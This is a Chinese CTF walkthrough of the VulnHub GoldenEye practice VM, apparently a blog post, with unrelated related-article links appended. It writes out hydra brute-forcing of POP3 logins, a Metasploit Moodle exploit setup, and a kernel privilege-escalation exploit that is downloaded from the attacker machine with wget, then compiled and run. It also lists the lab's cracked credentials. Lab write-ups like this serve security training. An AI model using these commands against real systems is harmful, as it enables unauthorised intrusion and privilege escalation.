前言

“操千曲而后晓声,观千剑而后识器”,下载靶机项目实战提升自我,这是一个涉及到渗透与CTF联合的实战项目。

Descript: 我最近完成了一个OSCP类型的易受攻击机器的创建,它以伟大的詹姆斯·邦德电影(甚至更好的n64游戏)《黄金眼》为主题。目标是获得根并捕获秘密的GoldenEye代码-flag.txt。

我认为它是中级的,它有各种各样的技术来获得root-无漏洞开发/缓冲区溢出。完成OSCP后,我认为这将是一个很好的练习,再加上有一点CTF的味道。

靶场环境

kali:192.168.31.153

靶机:192.168.31.67

靶机下载地址: https://www.vulnhub.com/entry/goldeneye-1,240/

下载完导入到vm即可

GoldenEye靶场渗透实战

访问靶机地址得到以下界面,得到ip,以及web页面,能够进行信息收集,获取端口信息,文件路径和对当前web页面进行检测。

获取端口和检测当前web页面这两个信息收集方向可以作为此次渗透入手点

从上方显示的页面可以了解到他要我们去访问/sev-home/这一目录,而此目录是一个js登录点,很明显要我们无法爆破密码而是要我们自己在当前页面寻找线索破解

返回去原始界面,ctrl + u 获取前端页面源码,发现页面引用了一个terminal.js文件,其中注释了一段话,大致意思是告诉Boris,Natalya能破解他的密码,并且还将编码后的密码写了下来,看到编码是html实体,直接用html实体解码得到 InvincibleHack3r,根据这段话逻辑是发给Boris的,所以用户就是boris,解码得到的字符就是其密码

用户boris,密码InvincibleHack3r,登录成功,得到页面一段英文提示:要向pop3服务存在的非默认高端口发送邮件,言外之意就是要我们找到那个高端口进行爆破登录

利用nmap扫描神器对192.168.31.67扫描高端口 nmap -p 1024-65535 192.168.31.67

发现了55006,55007两个高端口

得到两个pop3端口,根据页面提示我们要对boris,natalya这两个账号进行爆破

预先准备一个密码本,一个写入两个用户名的文本
使用九头蛇hydra爆破
echo 'boris' >> golden.txt
echo 'natalya' >> golden.txt
cat golden.txt

hydra爆破55007
hydra -L golden.txt -P password.txt 192.168.31.67 -s 55007 pop3
得到用户/密码
boris/secret1!
natalya/bird

利用nc登录pop3查看邮箱信息

nc 192.168.31.67 55007
user boirs //登录用户boris
pass secret1! //登录密码secret1!
retr 1 //查看邮件1

第一封邮件:Boris,我是管理员。你可以在这里与同事和学生进行电子交流。我不会扫描电子邮件的安全风险,因为我信任你和这里的其他管理员。

第二封邮件:Boris,我可以破解你的密码

第三封邮件:原文太长,我直接读取含义:要去登录xenia账号查找更多线索

登录natalya账号

第一封:不要再破解boris密码

第二封:获得xenia的账号密码 xenia/RCP90rulez! 并且要在/etc/hosts文件中添加severnaya-station.com域名才能访问severnaya-station.com/gnocertdir

在kali访问severnaya-station.com/gnocertdir地址:发现是一个moodle的开源CMS系统,继续点击界面的相关功能发现需要登陆,利用刚才在邮件中发现的用户名和密码登录

紧接着尝试对xenia账号进行信息收集,最终发现有一个邮件提示到有关于doak的电子邮箱

照旧继续用hydra破解得到 doak/goat 并且登录获取邮件信息

登录查看第一封邮件得到web页面登录用户密码 dr_doak/4England!

回到web界面登录dr_doak,在私人文件里面查找到一个文件夹,其中里面的文本提示了访问一个图片链接:/dir007key/for-007.jpg

访问图片链接并下载下来

一般图片线索都有可能是采用了隐写,kali可用的几种隐写工具:1.kali自带的binwalk 图片路径。2.利用exiftool 图片名称。3.利用strings 图片名称,这里我直接采用strings

破解得到一串bas64编码的字符,使用burp的decode base64解码得admin的密码:xWinter1995x!

登录admin账号收集信息,发现并没有什么有用的,但是发现了moodle是2.2.3版本的,在百度搜了一下发现Moodle有一个CVE-2013-3630漏洞,到此有两种方法继续getshell,1.选择去网上下载exp脚本获取权限,2.利用msf工具集成的漏洞exp进行getshell

以下我选择msf的集成化环境做测试,打开msf搜索moodle就会浮现已经集成好的漏洞exp

msfconsole    //开启msf
search moodle //搜索moodle相关的exp
use 1 //使用编号1的exp
show payloads //查找载荷
set payload 5 //设置载荷5
set PASSWORD xWinter1995x! //设置用户密码
set RHOSTS severnaya-station.com //设置目标站点
set targeturi /gnocertdir //设置目标路径
set lhost 192.168.31.153 //设置本地站点
show options //查看当前配置
run //运行

发现getshell失败,找了一圈,尝试了很多次发现在

Page path

Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor处有拼写引擎和语言识别,可以选择PSpellShell(Power Spell Shell ),Google Spell,PShell,我们选择PSpellShell可以与msf的exp形成互联,保存配置(save change)

回到msf重新执行exp,会返回一个后台终端,到此getshell成功

接着我们对后台进行信息收集,查找系统漏洞

python -c 'import pty; pty.spawn("/bin/bash")'  //一开始获取的权限没有linux框架,使用shell pty转化

使用cat /proc/version命令查看内核版本信息,发现是Linux ubuntu 3.13.0-32

在浏览器搜索该版本是否存在漏洞,ubuntu 3.13.0存在内核溢出漏洞,在kali中编号为37292的c脚本,在kali使用searchsploit命令检索相关漏洞exp执行脚本

searchsploit 37292   //检索编号
find / -name 37292.c //查找路径

cp /usr/share/exploitdb/exploits/linux/local/37292.c  /root/37292.c  //复制到root路径下
vim 37292.c //修改脚本,将gcc 改为cc,保存退出

使用python开启本地目录http服务
python3 -m http.server 8081
在msf获取到的后台执行以下命令,使用wget命令下载脚本
wget http://192.168.31.153:8081/37292.c

使用cc编译37292.c脚本为exp
cc -o exp 37292.c
chmod +x exp //给予执行权限
./exp //执行脚本

总结

1.信息收集:(1)前端js信息收集 (2)nmap端口扫描 (3)html实体解码 (4)收集用户敏感信息 (5)内核系统信息收集 (5)图片隐写

2.渗透:(1)hydra暴力破解 (2)利用msf集成exp getshell (3)内核溢出漏洞利用

3.多多动手实战,继续加油!

GoldenEye项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. 面向Web开发人员的Linux实用入门

    从 web 开发的视角说一下在使用 Linux 时遇到的问题,主要是针对操作本身,因为指令在网上都可以查到,不会深入原理,但尽量实用. 基础认知 为什么使用 Linux 最初我使用 Linux 是因为 ...

  2. 微信小程序登录页左上角的home图标如何隐藏?wx.hideHomeButton()不生效?

    在做微信小程序时,我们一般都会在app.js中去判断当前用户是否已经登录,如果已经登录,会直接跳转到小程序的首页.如果未登录那么直接跳转登录页. 此时我们需要把首页首页作为微信小程序的pages列表中 ...

  3. 这几个SQL语法的坑,你踩过吗

    本文已经收录到Github仓库,该仓库包含计算机基础.Java基础.多线程.JVM.数据库.Redis.Spring.Mybatis.SpringMVC.SpringBoot.分布式.微服务.设计模式 ...

  4. lua快速入门~在js基础上,知道Lua 和 Js 的不同即可

    lua 和 javaScript 差不多的,就是一些语法的细节不同,学过js,再注意一下下面的细节,就能上手了~ 快速入门,可以直接看一下菜鸟教程的lua:https://www.runoob.com ...

  5. 细节拉满,80 张图带你一步一步推演 slab 内存池的设计与实现

    1. 前文回顾 在之前的几篇内存管理系列文章中,笔者带大家从宏观角度完整地梳理了一遍 Linux 内存分配的整个链路,本文的主题依然是内存分配,这一次我们会从微观的角度来探秘一下 Linux 内核中用 ...

  6. 在 Rainbond 上使用在线知识库系统zyplayer-doc

    zyplayer-doc 是一款适合企业和个人使用的WIKI知识库管理工具,提供在线化的知识库管理功能,专为私有化部署而设计,最大程度上保证企业或个人的数据安全,可以完全以内网的方式来部署使用它. 当 ...

  7. .NET CORE 部署到IIS上,HTTP 错误 500.19 - Internal Server Error

    经排查,是因为项目中web.config的rewrite节点不支持,注释掉此节点即可,或者尝试下载相关依赖以支持此节点

  8. day11:return关键字&全局/局部变量&函数名的使用&函数的嵌套&nonlocal关键字&locals/globals

    关键字:return 自定义函数的返回值,return可以把值返回到函数的调用处        1.return+六大标准数据类型,还有类和对象,函数        如果不定义return,默认返回的 ...

  9. PHP大文件分割上传 PHP分片上传

    这篇文章主要为大家详细介绍了PHP大文件分割上传,PHP分片上传,具有一定的参考价值,感兴趣的小伙伴们可以参考一下 服务端为什么不能直接传大文件?跟php.ini里面的几个配置有关 upload_ma ...

  10. JUC(八)ThreadLocal

    ThreadLocal 简介 ThreadLocal提供局部线程变量,这个变量与普通的变量不同,每个线程在访问ThreadLocal实例的时候,(通过get或者set方法)都有自己的.独立初始化变量副 ...